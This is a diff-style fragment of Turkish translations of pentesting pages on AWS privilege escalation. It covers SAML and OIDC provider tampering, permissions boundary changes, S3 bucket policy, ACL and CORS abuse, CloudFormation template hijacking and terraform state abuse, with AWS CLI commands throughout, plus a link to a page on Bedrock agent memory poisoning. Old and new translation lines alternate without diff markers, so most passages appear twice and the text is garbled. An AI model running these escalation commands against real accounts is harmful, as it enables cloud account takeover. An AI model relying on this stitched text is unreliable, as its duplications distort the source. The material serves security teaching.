Bu işlemi yaparsanız **legit users won't be able to login**. Ancak XML'i elde edebilir; kendi XML'inizi koyup **login** olduktan sonra önceki yapılandırmayı geri getirebilirsiniz.
```bash
# List SAMLs
aws iam list-saml-providers
@@ -211,11 +211,11 @@ aws iam update-saml-provider --saml-metadata-document <value> --saml-provider-ar
aws iam update-saml-provider --saml-metadata-document <previous-xml> --saml-provider-arn <arn>
```
> [!NOTE]
> TODO: SAML metadata'sını oluşturup belirtilen bir role ile oturum açabilen bir araç
> TODO: SAML metadata oluşturabilen ve belirtilen bir role giriş yapabilen bir araç
### `iam:UpdateOpenIDConnectProviderThumbprint`, `iam:ListOpenIDConnectProviders`, (`iam:`**`GetOpenIDConnectProvider`**)
(Bundan emin değilim) Eğer bir saldırganın bu **izinlere** sahip olması durumunda, sağlayıcıya güvenen tüm rollere giriş yapmak için yeni bir **Thumbprint** ekleyebilir.
(Bunda emin değilim) Eğer bir saldırganın bu **permissions** varsa, sağlayıcıya güvenen tüm rollerde giriş yapabilmek için yeni bir **Thumbprint** ekleyebilir.
```bash
# List providers
aws iam list-open-id-connect-providers
@@ -226,7 +226,7 @@ aws iam update-open-id-connect-provider-thumbprint --open-id-connect-provider-ar
```
### `iam:PutUserPermissionsBoundary`
Bu izin, bir saldırganın bir kullanıcının permissions boundary'sini güncellemesine izin verir; bu sayede mevcut izinlerle normalde kısıtlanan eylemleri gerçekleştirebilmesine olanak tanıyarak ayrıcalıklarını yükseltebilir.
Bu izin, bir saldırganın bir kullanıcının permissions boundary'sini güncellemesine izin verir; bu da saldırganın mevcut izinleriyle normalde kısıtlanmış olan eylemleri gerçekleştirmesine olanak vererek ayrıcalıklarını yükseltmesine yol açabilir.
```bash
aws iam put-user-permissions-boundary \
--user-name <nombre_usuario> \
@@ -249,13 +249,13 @@ Un ejemplo de una política que no aplica ninguna restricción es:
```
### `iam:PutRolePermissionsBoundary`
iam:PutRolePermissionsBoundary iznine sahip bir aktör, mevcut bir role bir izin sınırı (permissions boundary) atayabilir. Risk, bu izne sahip birinin bir rolün sınırını değiştirmesiyle ortaya çıkar: işlemleri uygunsuz şekilde kısıtlayarak hizmet aksamasına yol açabilirler veya daha izin verici bir sınır eklerlerse, rolün yapabileceklerini fiilen genişleterek ayrıcalıkları yükseltebilirler.
iam:PutRolePermissionsBoundary yetkisine sahip bir aktör mevcut bir role izin sınırı (permissions boundary) koyabilir. Risk, bu izne sahip birinin bir rolün sınırını değiştirmesiyle ortaya çıkar: işlemleri uygunsuz şekilde kısıtlayarak hizmet kesintisine neden olabilir veya daha izin verici bir sınır eklerse rolün yapabildiklerini fiilen genişleterek ayrıcalıkları yükseltebilir.
```bash
aws iam put-role-permissions-boundary \
--role-name <Role_Name> \
--permissions-boundary arn:aws:iam::111122223333:policy/BoundaryPolicy
```
## Referanslar
## Kaynaklar
- [https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/](https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/)
@@ -6,9 +6,9 @@
### `s3:PutBucketNotification`, `s3:PutObject`, `s3:GetObject`
Bu izinlere sahip bir saldırgan, ilgili buckets üzerinde kaynakları ele geçirip ayrıcalıkları yükseltebilir.
Bu permissions'a sahip bir attacker, ilgi buckets üzerinde kaynakları hijack edebilir ve escalate privileges yapabilir.
Örneğin, "cf-templates-nohnwfax6a6i-us-east-1" adlı bir cloudformation bucket üzerinde bu **permissions over a cloudformation bucket**'a sahip bir saldırgan deployment'ı ele geçirebilir. Erişim aşağıdaki policy ile verilebilir:
Örneğin, "cf-templates-nohnwfax6a6i-us-east-1" adlı bir cloudformation bucket üzerinde bu **permissions over a cloudformation bucket**'a sahip bir attacker deployment'ı hijack edebilecektir. Erişim aşağıdaki policy ile verilebilir:
```json
{
"Version": "2012-10-17",
@@ -34,30 +34,30 @@ Bu izinlere sahip bir saldırgan, ilgili buckets üzerinde kaynakları ele geçi
]
}
```
Ve hijack mümkün çünkü bir şablonun **bucket'a yüklendiği** andan şablonun **dağıtıldığı** ana kadar **küçük bir zaman penceresi** vardır. Bir saldırgan kendi hesabında, bir bucket bildirimi gönderildiğinde tetiklenecek bir **lambda function** oluşturabilir ve o **bucket**'ın içeriğini hijack edebilir.
Ve hijack mümkün çünkü şablonun bucket'a yüklendiği andan şablonun deploy edildiği ana kadar **küçük bir zaman penceresi** vardır. Bir saldırgan hesabında **lambda function** oluşturup, **bucket bildirimi gönderildiğinde tetiklenecek** şekilde ayarlayabilir ve o **bucket**'ın **content**'ini **hijack** edebilir.
![](<../../../images/image (174).png>)
Pacu modülü [`cfn__resouce_injection`](https://github.com/RhinoSecurityLabs/pacu/wiki/Module-Details#cfn__resource_injection) bu saldırıyı otomatikleştirmek için kullanılabilir.\
Daha fazla bilgi için orijinal araştırmayı inceleyin: [https://rhinosecuritylabs.com/aws/cloud-malware-cloudformation-injection/](https://rhinosecuritylabs.com/aws/cloud-malware-cloudformation-injection/)
The Pacu module [`cfn__resouce_injection`](https://github.com/RhinoSecurityLabs/pacu/wiki/Module-Details#cfn__resource_injection) bu saldırıyı otomatikleştirmek için kullanılabilir.\
Daha fazla bilgi için orijinal araştırmaya bakın: [https://rhinosecuritylabs.com/aws/cloud-malware-cloudformation-injection/](https://rhinosecuritylabs.com/aws/cloud-malware-cloudformation-injection/)
### `s3:PutObject`, `s3:GetObject` <a href="#s3putobject-s3getobject" id="s3putobject-s3getobject"></a>
Bunlar S3'e **nesne yüklemek ve nesne almak** için gereken izinlerdir. AWS içindeki (ve dışındaki) birkaç servis **config files** depolamak için S3 storage kullanır.\
Bu dosyalara **okuma erişimi** olan bir saldırganinde **gizli bilgiler** bulabilir.\
Bu dosyalara **yazma erişimi** olan bir saldırgan veriyi **değiştirip bazı servisleri kötüye kullanarak ayrıcalıkları yükseltmeye** çalışabilir.\
Bunlara bazı örnekler:
Bunlar S3'e obje **get ve upload** etme izinleridir. AWS içindeki (ve dışındaki) birkaç servis, yapılandırma dosyalarını saklamak için S3 storage kullanır.\
Bu dosyalara **okuma izni** olan bir saldırgan, üzerinde **hassas bilgiler** bulabilir.\
Bunlara **yazma izni** olan bir saldırgan ise veriyi **değiştirip bazı servisleri kötüye kullanarak ayrıcalıkları yükseltmeye** çalışabilir.\
Bunlara birkaç örnek:
- Eğer bir EC2 instance'ı **user data**'yı bir S3 bucket'ında saklıyorsa, bir saldırgan bunu değiştirerek EC2 instance içinde **arbitrary code execute** edebilir.
- Eğer bir EC2 instance'ı **user data**'yı bir S3 bucket'ında tutuyorsa, bir saldırgan bunu değiştirerek EC2 instance içinde **istediği kodu çalıştırabilir**.
### `s3:PutObject`, `s3:GetObject` (optional) over terraform state file
[terraform](https://cloud.hacktricks.wiki/en/pentesting-ci-cd/terraform-security.html) state dosyalarının cloud sağlayıcıların blob storage'ına, ör. AWS S3'e kaydedilmesi çok yaygındır. State dosyalarının dosya uzantısı `.tfstate`'dir ve bucket isimleri genellikle terraform state dosyası içerdiğini belli eder. Genellikle her AWS hesabının, hesabın durumunu gösteren state dosyalarını depolamak için böyle bir bucket'ı bulunur.
Ayrıca gerçek dünya hesaplarında çoğu zaman tüm geliştiricilerin `s3:*` izinlerine ve bazen iş kullanıcılarının bile `s3:Put*` izinlerine sahip olduğu sık görülen bir durumdur.
[terraform](https://cloud.hacktricks.wiki/en/pentesting-ci-cd/terraform-security.html) state dosyalarının cloud sağlayıcılarının blob storage'larına, ör. AWS S3'e kaydedilmesi çok yaygındır. State dosyalarının dosya uzantısı `.tfstate`'dir ve bucket isimleri genellikle terraform state dosyalarını içerdiğini belli eder. Genellikle her AWS hesabında hesabın durumunu gösteren state dosyalarını saklamak için böyle bir bucket bulunur.
Ayrıca gerçek dünya hesaplarında çoğu zaman tüm geliştiriciler `s3:*` ve bazen iş kullanıcıları bile `s3:Put*` izinlerine sahiptir.
Dolayısıyla, bu dosyalar üzerinde listelenen izinlere sahipseniz, pipeline'da `terraform` ayrıcalıklarıyla (çoğu zaman `AdministratorAccess`) RCE elde etmenizi sağlayan bir saldırı vektörü vardır; bu da sizi cloud hesabının admini yapar. Ayrıca bu vektörü, `terraform`'un meşru kaynakları silmesini sağlayarak bir hizmet reddi (DoS) saldırısı yapmak için kullanabilirsiniz.
Yani, eğer bu dosyalar üzerinde listelenen izinlere sahipseniz, pipeline içinde `terraform` ayrıcalıklarıyla RCE elde etmenizi sağlayan bir saldırı vektörü vardır — çoğu zaman `AdministratorAccess`, bu da sizi bulut hesabının admini yapar. Ayrıca bu vektörü, `terraform`'ın meşru kaynakları silmesini sağlayarak hizmet reddi saldırısı (denial of service) yapmak için kullanabilirsiniz.
Doğrudan kullanılabilir exploit kodu için *Abusing Terraform State Files* bölümündeki açıklamayı *Terraform Security* sayfasında takip edin:
Doğrudan kullanılabilir exploit kodu için *Abusing Terraform State Files* bölümündeki açıklamayı takip edin:
{{#ref}}
../../../../pentesting-ci-cd/terraform-security.md#abusing-terraform-state-files
@@ -65,7 +65,7 @@ Doğrudan kullanılabilir exploit kodu için *Abusing Terraform State Files* bö
### `s3:PutBucketPolicy`
Aynı hesaptan olması gereken bir saldırgan, aksi halde `The specified method is not allowed will trigger` hatası tetiklendiği durumlarda, bu izin ile kendine bucket(lar) üzerinde daha fazla izin verebilir; böylece bucket'ları okuma, yazma, değiştirme, silme ve açığa çıkarma yetkisi elde eder.
Aynı hesaptan olması gereken bir saldırgan (aksi halde `The specified method is not allowed` hatası tetiklenir), bu izin ile kendine bucket(lar) üzerinde daha fazla izin verebilir; böylece bucket'ları okuyabilir, yazabilir, değiştirebilir, silebilir ve açığa çıkarabilir.
```bash
# Update Bucket policy
aws s3api put-bucket-policy --policy file:///root/policy.json --bucket <bucket-name>
@@ -123,8 +123,8 @@ aws s3api put-bucket-policy --policy file:///root/policy.json --bucket <bucket-n
```
### `s3:GetBucketAcl`, `s3:PutBucketAcl`
Bir saldırgan bu izinleri kötüye kullanarak belirli buckets üzerinde kendisine **daha fazla erişim** verebilir.\
Saldırganın aynı hesaptan olması gerekmediğini unutmayın. Ayrıca yazma erişimi
Bir saldırgan bu izinleri belirli bucket'lar üzerinde kendisine **daha fazla erişim sağlamak** için kötüye kullanabilir.\
Saldırganın aynı hesaptan olması gerekmediğini unutmayın. Ayrıca write access
```bash
# Update bucket ACL
aws s3api get-bucket-acl --bucket <bucket-name>
@@ -151,7 +151,7 @@ aws s3api put-bucket-acl --bucket <bucket-name> --access-control-policy file://a
```
### `s3:GetObjectAcl`, `s3:PutObjectAcl`
Bir saldırgan, bu izinleri buckets içindeki belirli nesneler üzerinde kendisine daha fazla erişim vermek için kötüye kullanabilir.
Bir attacker, bu izinleri kötüye kullanarak bucket içindeki belirli nesneler üzerinde kendisine daha fazla erişim sağlayabilir.
```bash
# Update bucket object ACL
aws s3api get-object-acl --bucket <bucekt-name> --key flag
@@ -178,16 +178,16 @@ aws s3api put-object-acl --bucket <bucket-name> --key flag --access-control-poli
```
### `s3:GetObjectAcl`, `s3:PutObjectVersionAcl`
Bu ayrıcalıklara sahip bir saldırganın belirli bir nesne sürümüne bir Acl atayabilmesi beklenir.
Bu ayrıcalıklara sahip bir saldırganın belirli bir object version'a Acl atayabilmesi beklenir.
```bash
aws s3api get-object-acl --bucket <bucekt-name> --key flag
aws s3api put-object-acl --bucket <bucket-name> --key flag --version-id <value> --access-control-policy file://objacl.json
```
### `s3:PutBucketCORS`
s3:PutBucketCORS iznine sahip bir saldırgan, bir bucket'ın CORS (Cross-Origin Resource Sharing) yapılandırmasını değiştirebilir; bu yapılandırma hangi web domainlerinin onun uç noktalarına erişebileceğini kontrol eder. Eğer izinleri gevşeten bir politika ayarlarsa, herhangi bir web sitesi doğrudan bucket'a istek yapabilir ve bir tarayıcıdan yanıtları okuyabilir.
s3:PutBucketCORS iznine sahip bir saldırgan, bir bucket'ın CORS (Cross-Origin Resource Sharing) yapılandırmasını değiştirebilir; bu yapılandırma hangi web domainlerinin uç noktalarına erişebileceğini kontrol eder. Eğer geniş izinli bir politika ayarlarsa, herhangi bir web sitesi doğrudan bucket'a istek gönderebilir ve tarayıcı üzerinden dönen yanıtları okuyabilir.
Bu, potansiyel olarak, bucket'ta barındırılan bir web uygulamasına ait kimliği doğrulanmış bir kullanıcı saldırganın web sitesini ziyaret ederse, saldırganın izinleri gevşetilmiş CORS politikasını kötüye kullanabileceği ve uygulamaya bağlı olarak kullanıcının profil verilerine erişebileceği veya hatta kullanıcının hesabını ele geçirebileceği anlamına gelir.
Bu, potansiyel olarak şu anlama gelir: bucket'tan barındırılan bir web uygulamasına kimliği doğrulanmış bir kullanıcı saldırganın sitesini ziyaret ederse, saldırgan geniş izinli CORS politikasını kötüye kullanarak, uygulamaya bağlı olarak kullanıcının profil verilerine erişebilir veya hatta kullanıcının hesabını ele geçirebilir.
```bash
aws s3api put-bucket-cors \
--bucket <BUCKET_NAME> \
@@ -6,33 +6,27 @@
### Konteyner hizmetleri
Konteyner hizmetleri kapsamına giren hizmetlerin aşağıdaki özellikleri vardır:
Konteyner hizmetleri altında yer alan servislerin sahip olduğu özellikler şunlardır:
- Hizmetin kendisi **ayrı altyapı örnekleri** üzerinde çalışır, ör. EC2.
- **AWS**, **işletim sistemi ve platformun yönetiminden** sorumludur.
- Yönetilen bir servis AWS tarafından sağlanır; bu genellikle **konteyner olarak görülen gerçek uygulamanın** kendisidir.
- Bu konteyner hizmetlerinin bir kullanıcısı olarak; **network access security'yi yönetmek (ör. network access control list kuralları ve herhangi bir firewall)** gibi bir dizi yönetim ve güvenlik sorumluluğunuz vardır.
- Ayrıca, mevcutsa platform düzeyinde kimlik ve erişim yönetimi (IAM).
- **Örnekler:** AWS konteyner hizmetlerine Relational Database Service, Elastic Mapreduce ve Elastic Beanstalk dahildir.
- Hizmetin kendisi **ayrı altyapı örnekleri** üzerinde çalışır, örneğin EC2.
- **AWS** işletim sistemi ve platformun **yönetiminden sorumludur**.
- AWS tarafından yönetilen bir hizmet sağlanır; bu genellikle **konteynerler olarak görülen gerçek uygulama** için hizmetin kendisidir.
- Bu konteyner hizmetleri kullanıcısı olarak ağ erişim güvenliğini yönetme dahil olmak üzere birçok yönetim ve güvenlik sorumluluğunuz vardır, örneğin **network access control list kuralları ve varsa firewall'lar**.
- Ayrıca, mevcutsa platform düzeyinde kimlik ve erişim yönetimi.
- **Örnekler** olarak AWS konteyner hizmetleri arasında Relational Database Service, Elastic Mapreduce ve Elastic Beanstalk bulunur.
### Soyut Hizmetler
- Bu hizmetler, **bulut uygulamalarının inşa edildiği platform veya yönetim katmanından kaldırılmış, soyutlanmış** durumdadır.
- Hizmetlere AWS application programming interfaces (APIs) kullanılarak endpoint'ler aracılığıyla erişilir.
- Bu hizmetler, bulut uygulamalarının inşa edildiği platform veya yönetim katmanından **ayrılmış ve soyutlanmıştır**.
- Hizmetlere endpoint'ler aracılığıyla AWS application programming interfaces, APIs kullanılarak erişilir.
- **Altyapı, işletim sistemi ve platform AWS tarafından yönetilir**.
- Soyutlanmış hizmetler, altyapının paylaşıldığı multi-tenancy bir platform sağlar.
- **Veri, güvenlik mekanizmalarıyla izole edilir**.
- Soyut hizmetler IAM ile güçlü entegrasyona sahiptir ve **örnekler** arasında S3, DynamoDB, Amazon Glacier ve SQS bulunur.
- Soyutlanmış hizmetler, altında yatan altyapının paylaşıldığı çok kiracılı (multi-tenancy) bir platform sağlar.
- **Veri, güvenlik mekanizmaları ile izole edilir**.
- Soyut hizmetlerin IAM ile güçlü bir entegrasyonu vardır ve **örnekler** arasında S3, DynamoDB, Amazon Glacier ve SQS bulunur.
## Hizmetlerin Envanterlenmesi
## Hizmetlerin Keşfi
**Bu bölümün sayfaları AWS servislerine göre sıralanmıştır. Burada hizmet hakkında (nasıl çalıştığı ve yetenekleri) bilgiler bulacaksınız ve bu bilgiler yetki yükseltmeye olanak tanıyabilir.**
**Bu bölümdeki sayfalar AWS servisine göre sıralanmıştır. Burada hizmet hakkında (nasıl çalıştığı ve yetenekleri) bilgi bulabilecek ve bu da sizin escalate privileges yapmanıza olanak tanıyacaktır.**
### İlgili: Amazon Bedrock security
{{#ref}}
aws-bedrock-agents-memory-poisoning.md
{{#endref}}
{{#include ../../../banners/hacktricks-training.md}}